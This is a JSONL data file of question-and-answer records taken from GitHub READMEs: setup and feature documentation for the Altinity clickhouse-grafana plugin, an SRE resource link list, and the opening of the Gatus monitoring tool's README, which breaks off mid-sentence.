{"id": "gh_3dd11e27c6de", "question": "How to: Worldmap panel ([https://github.com/grafana/worldmap-panel](https://github.com/grafana/worldmap-panel))", "question_body": "About Altinity/clickhouse-grafana", "answer": "![worldmap](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/12_worldmap_example.png)\n\nIf you have a table with country/city codes:\n\n```sql\nSELECT\n    1,\n    Country AS c,\n    sum(Requests) AS Reqs\nFROM requests\nGLOBAL ANY INNER JOIN\n(\n    SELECT Country, CountryCode\n    FROM countries\n) USING (CountryCode)\nWHERE $timeFilter\nGROUP BY\n    c\nORDER BY Reqs DESC\n```\n\nIf you are using [geohash](https://github.com/grafana/worldmap-panel#geohashes-as-the-data-source) set following options:\n\n![Format](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/13_worldmap_format.png)\n\nYou can make following query with `Table` formatting:\n\n![geohash-query](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/14_worldmap_query.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920822"}
{"id": "gh_549587ac3507", "question": "How to: Ad-hoc filters", "question_body": "About Altinity/clickhouse-grafana", "answer": "If there is an Ad-hoc variable, plugin will fetch all columns of all tables of all databases (except system database) as tags.\nSo in dropdown menu will be options like `database.table.column`. If you specify the default database it will only fetch tables and columns from that database, and the dropdown menu will have an option like `table.column`.\nIf there are ENUM columns, the plugin will fetch their options and use them as tag values.\nAlso, plugin will fetch 300 unique values for fields with other types.\n\nPlugin will apply Ad-hoc filters to all queries on the dashboard if their settings `$database` and `$table` are the same\nas `database.table` specified in Ad-hoc control. If the ad-hoc filter doesn't specify a table, it will apply to all queries regardless of the table.\nThis is useful if the dashboard contains queries to multiple different tables.\n\n![ad-hoc](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/15_adhoc_filter.png)\n\n> There are no option to apply OR operator for multiple Ad-hoc filters - see grafana/grafana#10918\n> There are no option to use IN operator for Ad-hoc filters due to Grafana limitations\n\nThere may be cases when CH contains too many tables and columns so their fetching could take notably amount of time. So, if you need\nto have multiple dashboards with different databases using of `default database` won't help. The best way to solve this will be to have parametrized\nad-hoc variable in dashboard settings. Currently, it's not supported by Grafana interface (see [issue](https://github.com/grafana/grafana/issues/13109)).\nAs a temporary workaround, plugin will try to look for variable with name `adhoc_query_filter` and if it exists will use its value as query to fetch columns.\nFor this purpose we recommend creating some variable `constant` with the name `adhoc_query_filter` and set the value similar to the following one:\n\n```sql\nSELECT database, table, name, type FROM system.columns WHERE table='myTable' ORDER BY database, table\n```\n\nThat should help to control data fetching by ad-hoc queries.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920832"}
{"id": "gh_bf8f6504f374", "question": "How to: Template variable values via Query", "question_body": "About Altinity/clickhouse-grafana", "answer": "To use time range dependent macros like `$from` and `$to` in your query the refresh mode of the template variable needs to be set to On Time Range Change.\n\n```sql\nSELECT ClientID FROM events WHERE EventTime > toDateTime($from) AND EventTime < toDateTime($to)\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920838"}
{"id": "gh_538a64b4463d", "question": "How to: Annotations", "question_body": "About Altinity/clickhouse-grafana", "answer": "Plugin support Annotations with regions. To enable this feature open Dashboard `settings` and add new annotation query with `clickhouse` datasource with properly field names.\n\n![Annotation query add](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/16_annotations_query_add.png)\n\n![Annotation query example](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/17_annotations_query_example.png)\n\n![Annotation with regions graph panel](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/18_annotations_graph.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920844"}
{"id": "gh_ca3be8618478", "question": "How to: Alerts support", "question_body": "About Altinity/clickhouse-grafana", "answer": "Grafana provide two kind of alerts. Unified alerts and graph panel related alerts (legacy). \nBoth kind of alerts supports by our plugin can't be used together. \nUse `GF_UNIFIED_ALERTING_ENABLED=1` (preferable) or `GF_ALERTING_ENABLED=1` environment variables for switch.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920850"}
{"id": "gh_9e9cd0eb497c", "question": "How to: Panel related alerts (legacy)", "question_body": "About Altinity/clickhouse-grafana", "answer": "To enable alerts open \"alerts\" tab in panel, and define alert expression as described on [grafana.com](https://grafana.com/docs/grafana/latest/alerting/)\n\n![Alerts in graph panel](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/19_alerts_tab.png)\n\nBe careful with Template variables values, currently grafana doesn't support template variables in alert queries itself.\nAlso, grafana UI doesn't pass template variables values to a backend, after you change it on frontend UI.\n\nSo, the clickhouse grafana plugin can use template variables values, because we have \"Generated SQL\" which pass to backend \"as is\"\nTo ensure template variables values will properly pass to a backend part of the plugin.\nPlease choose the required template variables values for your alerts in UI dropdown,\nensure values properly rendered in \"Generated SQL\" (maybe need change SQL queries in query editor)\nand save a whole dashboard to the Grafana server\n\nWARNING: `Test alert` button doesn't save a current state of alert rules to a backend part of the plugin.\n\nIf the \"Generated SQL\" properly passed into backend part of plugin, you will see something like this:\n![Graph panel with alerts](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/20_alerts_panel.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920859"}
{"id": "gh_341473bd4940", "question": "How to: Unified Alerts support", "question_body": "About Altinity/clickhouse-grafana", "answer": "Unified alerts could be provisioned with YAML file, look to https://github.com/Altinity/clickhouse-grafana/tree/master/docker/grafana/provisioning/alerting/\n\n![Unified alerts menu](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/21_unified_alerts_menu.png)\n\n![Unified alerts panel](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/22_unified_alerts_adding.png)\n\nTo export exists unified alerts to YAML use Export alerts\n\n![Unified alerts export](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/24_alerts_export.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920865"}
{"id": "gh_46cc8e4aa9c8", "question": "How to: Alerts troubleshooting", "question_body": "About Altinity/clickhouse-grafana", "answer": "To troubleshoot alerts in clickhouse grafana plugin when enable `level=debug` in `log` section `grafana.ini` or via `GF_LOG_LEVEL=debug` environment variable.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920871"}
{"id": "gh_281d100f2e7c", "question": "How to: Histogram support", "question_body": "About Altinity/clickhouse-grafana", "answer": "![Histogram](https://github.com/Altinity/clickhouse-grafana/raw/master/src/img/histogram.png)\n\nTo show Histogram you need query in format as \"Time Series\"\n\nAccording to https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/histogram, Histograms support time series and any table results with one or more numerical fields.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920876"}
{"id": "gh_a218a4d8ff30", "question": "How to: Logs support", "question_body": "About Altinity/clickhouse-grafana", "answer": "To render your ClickHouse data as Logs, please use special format in \"Format as\" dropdown in Query Editor called \"Logs\". This option helps Grafana recognizes data as logs and shows logs visualization automatically in Explore UI. On dashboards you can use [Logs panel](https://grafana.com/docs/grafana/latest/visualizations/logs-panel/) as well.\n\n![Format as Logs](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/23_logs_support.png)\n  \nTo return suitable for logs data - query should return at least one time field (assumed that it will be first field) and one text field from the ClickHouse.\n\nPlugin is also transforming all text fields, except log line, into the labels using following rules:\n\n* Log line will be taken either from dedicated `content` field or from first in order text field in result\n* All other text fields will be treated as a labels\n\nThere are few dedicated fields that are recognized by Grafana:\n\n* `level` (string) - set the level for each log line\n* `id` (string) - by default, Grafana offers basic support for deduplicating log lines, that can be improved by adding this field to explicitly assign identifiers to each log line\n\nAll other fields returned from data source will be recognized by Grafana as [detected fields](https://grafana.com/docs/grafana/latest/explore/logs-integration/#labels-and-detected-fields)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920885"}
{"id": "gh_a07079541c45", "question": "How to: Flamegraph support", "question_body": "About Altinity/clickhouse-grafana", "answer": "![Format as: Flamegraph](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/25_format_as_flamegraph.png)\n\nTo show Flamegraph you need query in format as \"Flame Graph\"\nAccording to https://grafana.com/docs/grafana/latest/panels-visualizations/visualizations/flame-graph/#data-api, you need to have recordset with 4 fields\n- `level` - Numeric - the level of the stack frame. The root frame is level 0.\n- `label` - String - the function name or other symbol which identify\n- `value` - Numeric - the number of samples or bytes that were recorded in this stack trace\n- `self` - Numeric - the number of samples or bytes that were recorded in only this stack frame excluding the children, for clickhouse this is usually zero, but for the last frame in stack requires `self` equals with `value` to properly flamegraph vizualization\n\n**Moreover, rows shall be ordered by stack trace and level**\n\nIf you setup `query_profiler_real_time_period_ns` in profile or query level settings when you can try to visualize it as FlameGraph with the following query  \nLook to [system.trace_log](https://clickhouse.com/docs/en/operations/system-tables/trace_log) table description for how to get data for FlameGraph\nLook to [flamegraph dashboard example](https://github.com/Altinity/clickhouse-grafana/blob/master/docker/grafana/dashboards/flamegraph_and_tracing_support.json) for example of dashboard with FlameGraph", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920894"}
{"id": "gh_1aae6c55e327", "question": "How to: Flamegraph query example:", "question_body": "About Altinity/clickhouse-grafana", "answer": "```sql\nSELECT length(trace)  - level_num AS level, label, count() AS value, 0 self\nFROM system.trace_log\n  ARRAY JOIN arrayEnumerate(trace) AS level_num,\n  arrayMap(x -> if(addressToSymbol(x) != '', demangle(addressToSymbol(x)), 'unknown') , trace) AS label\nWHERE trace_type='Real' AND $timeFilter\nGROUP BY level, label, trace\nORDER BY trace, level\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920901"}
{"id": "gh_128325b4bedc", "question": "How to: Traces support", "question_body": "About Altinity/clickhouse-grafana", "answer": "To show Traces you need query with format as \"Traces\" with following\n![Format as Traces](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/26_format_as_trace.png)\n\n![Trace example](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/27_traces_example.png)\n\nFor example, if `\n1\n` in user profile and `system.opentelemetry_span_log` is not emtpy, then you can show traces about clickhouse query execution\nLook to [system.opentelemetry_span_log](https://clickhouse.com/docs/en/operations/system-tables/opentelemetry_span_log) table description for how to get data for FlameGraph\nLook to [tracing dashboard example](https://github.com/Altinity/clickhouse-grafana/blob/master/docker/grafana/dashboards/flamegraph_and_tracing_support.json) for example of dashboard with FlameGraph\n\nTracing visualization requires following field names (case sensitive):\n- `traceID` - String\n- `spanID` - String\n- `operationName` - String\n- `parentSpanID` - String\n- `serviceName` - String\n- `duration` - UInt64 - duration in milliseconds\n- `startTime` - UInt64 - start time in milliseconds\n- `tags` - map(String, String) - tags for span\n- `serviceTags` - map(String, String) - tags for service (for example 'hostName')", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920909"}
{"id": "gh_cad7e9c3e375", "question": "How to: Traces query example for system.opentelemetry_span_log", "question_body": "About Altinity/clickhouse-grafana", "answer": "```sql\nSELECT\n  trace_id AS traceID,\n  span_id AS spanID,\n  operation_name AS operationName,\n  parent_span_id AS parentSpanID,\n  'clickhouse' AS serviceName,\n  intDiv(finish_time_us - start_time_us, 1000) AS duration,\n  intDiv(start_time_us,1000) AS startTime,\n  attribute AS tags,\n  map('hostName',hostname) AS serviceTags\nFROM\n  system.opentelemetry_span_log\nWHERE $timeFilter\nORDER BY traceID, startTime\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920914"}
{"id": "gh_201b6d685792", "question": "How to: Configure the Datasource with Provisioning", "question_body": "About Altinity/clickhouse-grafana", "answer": "It’s now possible to configure datasources using config files with Grafana’s provisioning system.\nYou can read more about how it works and all the settings you can set for datasources on the [provisioning docs page](http://docs.grafana.org/administration/provisioning/#datasources).\n\nHere are some provisioning example:\n\n```yaml\napiVersion: 1\n\ndatasources:\n - name: Clickhouse\n   type: vertamedia-clickhouse-datasource\n   access: proxy\n   url: http://localhost:8123\n   #\nenable/disable basic auth\n   basicAuth: false\n   #\nbasic auth username\n   basicAuthUser: \"default\"\n   #\nenable/disable with credentials headers\n   withCredentials: false\n   #\nmark as default datasource. Max one per org\n   isDefault: false\n   #\nfields that will be converted to json and stored in json_data\n   jsonData:\n     #\nenable/disable sending 'add_http_cors_header=1' parameter\n     addCorsHeader: false\n     #\nenable/disable using POST method for sending queries\n     usePOST: false\n     #\nenable/disable using Accept-Encoding header in each request\n     useCompression: false\n     #\ncompression type allowed values: gzip, zstd, br, deflate\n     compressionType: \"\"\n     #\ndefault database name\n     defaultDatabase: \"\"\n     #\nenable/disable tls authorization\n     tlsAuth: false\n     #\nenable/disable tls authorization with custom ca\n     tlsAuthWithCACert: false\n     #\nenable/disable authorization with X-ClickHouse-* headers\n     useYandexCloudAuthorization: false\n     #\nX-ClickHouse-Key header value for authorization\n     xHeaderUser: \"\"\n     #\nthe same value as url when `useYandexCloudAuthorization: true` \n     # @todo remove this workaround when merge https://github.com/grafana/grafana/pull/80858\n     dataSourceUrl: \"http://localhost:8123\"\n   secureJsonData:\n     #\nX-ClickHouse-User header value for authorization\n     xHeaderKey: \"\"\n     #\nbasic auth password\n     basicAuthPassword: \"\"\n     #\ncustom certificate authority for TLS https connection, base64 encoded \n     tlsCACert: \"\"\n     #\ncustom client certificate for TLS https connection, base64 encoded \n     tlsClientCert: \"\"\n     #\ncustom client secret key for TLS https connection, base64 encoded \n     tlsClientKey: \"\"\n```\n\nSome settings and security params are the same for all datasources. You can find them [here](http://docs.grafana.org/administration/provisioning/#example-datasource-config-file).", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920930"}
{"id": "gh_c9c0209ae90c", "question": "How to: Contributing", "question_body": "About Altinity/clickhouse-grafana", "answer": "If you have any idea for an improvement or found a bug do not hesitate to open an issue or submit a pull request.\nWe will appreciate any help from the community which will make working with such amazing products as ClickHouse and Grafana more convenient.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920938"}
{"id": "gh_005c82204f51", "question": "How to: Development", "question_body": "About Altinity/clickhouse-grafana", "answer": "see [CONTRIBUTING.md](https://github.com/Altinity/clickhouse-grafana/blob/master/CONTRIBUTING.md) for Development and Pull request Contributing instructions\n\nLicense\n\n---\nMIT License, please see [LICENSE](https://github.com/Altinity/clickhouse-grafana/blob/master/LICENSE) for details.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920943"}
{"id": "gh_30bce20a0565", "question": "How to: Introduction", "question_body": "About upgundecha/howtheysre", "answer": "__How They SRE__ How They SRE is a curated knowledge repository of Site Reliability Engineering (SRE) best practices, tools, techniques, and culture adopted by leading technology or tech-savvy organizations.\n\nNumerous organizations frequently share their insights and expertise, encompassing best practices, tools, and techniques that shape their engineering culture. They do this through various public platforms such as engineering blogs, conferences, and meetups. This repository compiles and presents content gathered from these sources.", "tags": ["upgundecha"], "source": "github_gists", "category": "upgundecha", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9663, "answer_score": 10, "has_code": false, "url": "https://github.com/upgundecha/howtheysre", "collected_at": "2026-01-17T13:01:52.603884"}
{"id": "gh_610d305c61dd", "question": "How to: Blog Posts", "question_body": "About upgundecha/howtheysre", "answer": "* [Enter the Abattoir - Building 'à la carte' gitops tooling](https://achievers.engineering/enter-the-abattoir-ee5e2019f0b3)\n* [Scaling Production Globally — The service mesh facelift (Part-1)](https://achievers.engineering/scaling-production-globally-service-mesh-face-lift-part-1-30ad6d393d04)\n* [Scaling Production Globally - Solving observability problems for developers (Part-2)](https://achievers.engineering/scaling-production-globally-solving-observability-problems-for-developers-part-2-b5416ce5eb8a)\n* [Load Testing Kubernetes: Building a Framework (Part-1)](https://achievers.engineering/load-testing-kubernetes-building-a-framework-part-1-bdc0af4ae7e2)\n* [Load Testing Kubernetes: Resolving bottlenecks and improving performance (Part-2)](https://achievers.engineering/load-testing-kubernetes-resolving-bottlenecks-and-improving-performance-part-2-c4f08102f105)\nAirbnb", "tags": ["upgundecha"], "source": "github_gists", "category": "upgundecha", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9663, "answer_score": 10, "has_code": false, "url": "https://github.com/upgundecha/howtheysre", "collected_at": "2026-01-17T13:01:52.603904"}
{"id": "gh_494a9dc706d5", "question": "How to: Major incidents & analysis reports", "question_body": "About upgundecha/howtheysre", "answer": "* [Information on the Capital One Cyber Incident](https://www.capitalone.com/facts2019/)\n* [A Case Study of the Capital One Data Breach](http://web.mit.edu/smadnick/www/wp/2020-16.pdf)", "tags": ["upgundecha"], "source": "github_gists", "category": "upgundecha", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9663, "answer_score": 10, "has_code": false, "url": "https://github.com/upgundecha/howtheysre", "collected_at": "2026-01-17T13:01:52.603980"}
{"id": "gh_53e47cedc313", "question": "How to: Other Resources", "question_body": "About upgundecha/howtheysre", "answer": "#### Awesome Lists\n\n* [Awesome SRE](https://github.com/dastergon/awesome-sre)\n* [Awesome Site Reliability Engineering Tools](https://github.com/SquadcastHub/awesome-sre-tools)\n* [Awesome Chaos Engineering](https://github.com/dastergon/awesome-chaos-engineering)\n* [Awesome Monitoring](https://github.com/crazy-canux/awesome-monitoring)\n* [Awesome Observability](https://github.com/adriannovegil/awesome-observability)\n* [Awesome MLOps](https://github.com/visenger/awesome-mlops)\n* [ML-Ops.org](https://ml-ops.org/)\n\n#### SRE Resources from various organizations\n\n* [Google SRE Page](https://sre.google/)\n* [Google SRE Classroom](https://sre.google/classroom/)\n* [Google Cloud SRE Page](https://cloud.google.com/sre)\n* [Microsoft SRE Page](https://docs.microsoft.com/en-us/azure/site-reliability-engineering/)\n* [School of SRE from LinkedIn](https://linkedin.github.io/school-of-sre/)\n* [Stripe Increment Magazine Issue 16 on Reliability](https://increment.com/reliability/)\n* [AWS Observability Recipes](https://aws-observability.github.io/aws-o11y-recipes/)\n* [Awesome Sysadmin](https://github.com/awesome-foss/awesome-sysadmin)\n\n#### Incidents & postmortems\n\n* [The Verica Open Incident Database](https://www.thevoid.community/)\n* [Postmortem Templates](https://github.com/dastergon/postmortem-templates)\n* [Incident Review and Postmortem Best Practices](https://blog.pragmaticengineer.com/postmortem-best-practices/)\n\n#### Newsletters\n\n* [SRE Weekly Newsletter](https://sreweekly.com/)\n* [Chaos Engineering Newsletter](https://chaosengineering.news/)\n* [DevOps Weekly Newsletter](http://devopsweekly.com)", "tags": ["upgundecha"], "source": "github_gists", "category": "upgundecha", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9663, "answer_score": 10, "has_code": false, "url": "https://github.com/upgundecha/howtheysre", "collected_at": "2026-01-17T13:01:52.604512"}
{"id": "gh_08c2dbefc9a1", "question": "How to: Other How They... repos", "question_body": "About upgundecha/howtheysre", "answer": "* [Howtheytest](https://github.com/abhivaikar/howtheytest)\n* [Howtheydevops](https://github.com/bregman-arie/howtheydevops)\n* [Howtheyaws](https://github.com/upgundecha/howtheyaws)\n* [Applied AI](https://github.com/upgundecha/applied-ai)", "tags": ["upgundecha"], "source": "github_gists", "category": "upgundecha", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9663, "answer_score": 10, "has_code": false, "url": "https://github.com/upgundecha/howtheysre", "collected_at": "2026-01-17T13:01:52.604517"}
{"id": "gh_46ddb0a4b0a7", "question": "How to: Table of Contents", "question_body": "About TwiN/gatus", "answer": "- [Table of Contents](#table-of-contents)\n- [Why Gatus?](#why-gatus)\n- [Features](#features)\n- [Usage](#usage)\n- [Configuration](#configuration)\n  - [Endpoints](#endpoints)\n  - [External Endpoints](#external-endpoints)\n  - [Suites (ALPHA)](#suites-alpha)\n  - [Conditions](#conditions)\n    - [Placeholders](#placeholders)\n    - [Functions](#functions)\n  - [Web](#web)\n  - [UI](#ui)\n  - [Announcements](#announcements)\n  - [Storage](#storage)\n  - [Client configuration](#client-configuration)\n  - [Tunneling](#tunneling)\n  - [Alerting](#alerting)\n    - [Configuring AWS SES alerts](#configuring-aws-ses-alerts)\n    - [Configuring ClickUp alerts](#configuring-clickup-alerts)\n    - [Configuring Datadog alerts](#configuring-datadog-alerts)\n    - [Configuring Discord alerts](#configuring-discord-alerts)\n    - [Configuring Email alerts](#configuring-email-alerts)\n    - [Configuring Gitea alerts](#configuring-gitea-alerts)\n    - [Configuring GitHub alerts](#configuring-github-alerts)\n    - [Configuring GitLab alerts](#configuring-gitlab-alerts)\n    - [Configuring Google Chat alerts](#configuring-google-chat-alerts)\n    - [Configuring Gotify alerts](#configuring-gotify-alerts)\n    - [Configuring HomeAssistant alerts](#configuring-homeassistant-alerts)\n    - [Configuring IFTTT alerts](#configuring-ifttt-alerts)\n    - [Configuring Ilert alerts](#configuring-ilert-alerts)\n    - [Configuring Incident.io alerts](#configuring-incidentio-alerts)\n    - [Configuring Line alerts](#configuring-line-alerts)\n    - [Configuring Matrix alerts](#configuring-matrix-alerts)\n    - [Configuring Mattermost alerts](#configuring-mattermost-alerts)\n    - [Configuring Messagebird alerts](#configuring-messagebird-alerts)\n    - [Configuring n8n alerts](#configuring-n8n-alerts)\n    - [Configuring New Relic alerts](#configuring-new-relic-alerts)\n    - [Configuring Ntfy alerts](#configuring-ntfy-alerts)\n    - [Configuring Opsgenie alerts](#configuring-opsgenie-alerts)\n    - [Configuring PagerDuty alerts](#configuring-pagerduty-alerts)\n    - [Configuring Plivo alerts](#configuring-plivo-alerts)\n    - [Configuring Pushover alerts](#configuring-pushover-alerts)\n    - [Configuring Rocket.Chat alerts](#configuring-rocketchat-alerts)\n    - [Configuring SendGrid alerts](#configuring-sendgrid-alerts)\n    - [Configuring Signal alerts](#configuring-signal-alerts)\n    - [Configuring SIGNL4 alerts](#configuring-signl4-alerts)\n    - [Configuring Slack alerts](#configuring-slack-alerts)\n    - [Configuring Splunk alerts](#configuring-splunk-alerts)\n    - [Configuring Squadcast alerts](#configuring-squadcast-alerts)\n    - [Configuring Teams alerts *(Deprecated)*](#configuring-teams-alerts-deprecated)\n    - [Configuring Teams Workflow alerts](#configuring-teams-workflow-alerts)\n    - [Configuring Telegram alerts](#configuring-telegram-alerts)\n    - [Configuring Twilio alerts](#configuring-twilio-alerts)\n    - [Configuring Vonage alerts](#configuring-vonage-alerts)\n    - [Configuring Webex alerts](#configuring-webex-alerts)\n    - [Configuring Zapier alerts](#configuring-zapier-alerts)\n    - [Configuring Zulip alerts](#configuring-zulip-alerts)\n    - [Configuring custom alerts](#configuring-custom-alerts)\n    - [Setting a default alert](#setting-a-default-alert)\n  - [Maintenance](#maintenance)\n  - [Security](#security)\n    - [Basic Authentication](#basic-authentication)\n    - [OIDC](#oidc)\n  - [TLS Encryption](#tls-encryption)\n  - [Metrics](#metrics)\n    - [Custom Labels](#custom-labels)\n  - [Connectivity](#connectivity)\n  - [Remote instances (EXPERIMENTAL)](#remote-instances-experimental)\n- [Deployment](#deployment)\n  - [Docker](#docker)\n  - [Helm Chart](#helm-chart)\n  - [Terraform](#terraform)\n    - [Kubernetes](#kubernetes)\n- [Running the tests](#running-the-tests)\n- [Using in Production](#using-in-production)\n- [FAQ](#faq)\n  - [Sending a GraphQL request](#sending-a-graphql-request)\n  - [Recommended interval](#recommended-interval)\n  - [Default timeouts](#default-timeouts)\n  - [Monitoring a TCP endpoint](#monitoring-a-tcp-endpoint)\n  - [Monitoring a UDP endpoint](#monitoring-a-udp-endpoint)\n  - [Monitoring a SCTP endpoint](#monitoring-a-sctp-endpoint)\n  - [Monitoring a WebSocket endpoint](#monitoring-a-websocket-endpoint)\n  - [Monitoring an endpoint using gRPC](#monitoring-an-endpoint-using-grpc)\n  - [Monitoring an endpoint using ICMP](#monitoring-an-endpoint-using-icmp)\n  - [Monitoring an endpoint using DNS queries](#monitoring-an-endpoint-using-dns-queries)\n  - [Monitoring an endpoint using SSH](#monitoring-an-endpoint-using-ssh)\n  - [Monitoring an endpoint using STARTTLS](#monitoring-an-endpoint-using-starttls)\n  - [Monitoring an endpoint using TLS](#monitoring-an-endpoint-using-tls)\n  - [Monitoring domain expiration](#monitoring-domain-expiration)\n  - [Concurrency](#concurrency)\n  - [Reloading configuration on the fly](#reloading-configuration-on-the-fly)\n  - [Endpoint groups](#endpoint-groups)\n  - [How do I sort by group by default?](#how-do-i-sort-by-group-by-def", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658797"}
{"id": "gh_0459a8347e4e", "question": "How to: Why Gatus?", "question_body": "About TwiN/gatus", "answer": "Before getting into the specifics, I want to address the most common question:\n> Why would I use Gatus when I can just use Prometheus’ Alertmanager, Cloudwatch or even Splunk?\n\nNeither of these can tell you that there’s a problem if there are no clients actively calling the endpoint.\nIn other words, it's because monitoring metrics mostly rely on existing traffic, which effectively means that unless\nyour clients are already experiencing a problem, you won't be notified.\n\nGatus, on the other hand, allows you to configure health checks for each of your features, which in turn allows it to\nmonitor these features and potentially alert you before any clients are impacted.\n\nA sign you may want to look into Gatus is by simply asking yourself whether you'd receive an alert if your load balancer\nwas to go down right now. Will any of your existing alerts be triggered? Your metrics won’t report an increase in errors\nif no traffic makes it to your applications. This puts you in a situation where your clients are the ones\nthat will notify you about the degradation of your services rather than you reassuring them that you're working on\nfixing the issue before they even know about it.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658821"}
{"id": "gh_d50c80ad0e79", "question": "How to: Configuration", "question_body": "About TwiN/gatus", "answer": "By default, the configuration file is expected to be at `config/config.yaml`.\n\nYou can specify a custom path by setting the `GATUS_CONFIG_PATH` environment variable.\n\nIf `GATUS_CONFIG_PATH` points to a directory, all `*.yaml` and `*.yml` files inside said directory and its\nsubdirectories are merged like so:\n- All maps/objects are deep merged (i.e. you could define `alerting.slack` in one file and `alerting.pagerduty` in another file)\n- All slices/arrays are appended (i.e. you can define `endpoints` in multiple files and each endpoint will be added to the final list of endpoints)\n- Parameters with a primitive value (e.g. `metrics`, `alerting.slack.webhook-url`, etc.) may only be defined once to forcefully avoid any ambiguity\n    - To clarify, this also means that you could not define `alerting.slack.webhook-url` in two files with different values. All files are merged into one before they are processed. This is by design.\n\n> 💡 You can also use environment variables in the configuration file (e.g. `$DOMAIN`, `${DOMAIN}`)\n>\n> ⚠️ When your configuration parameter contains a `$` symbol, you have to escape `$` with `$$`.\n>\n> See [Use environment variables in config files](#use-environment-variables-in-config-files) or 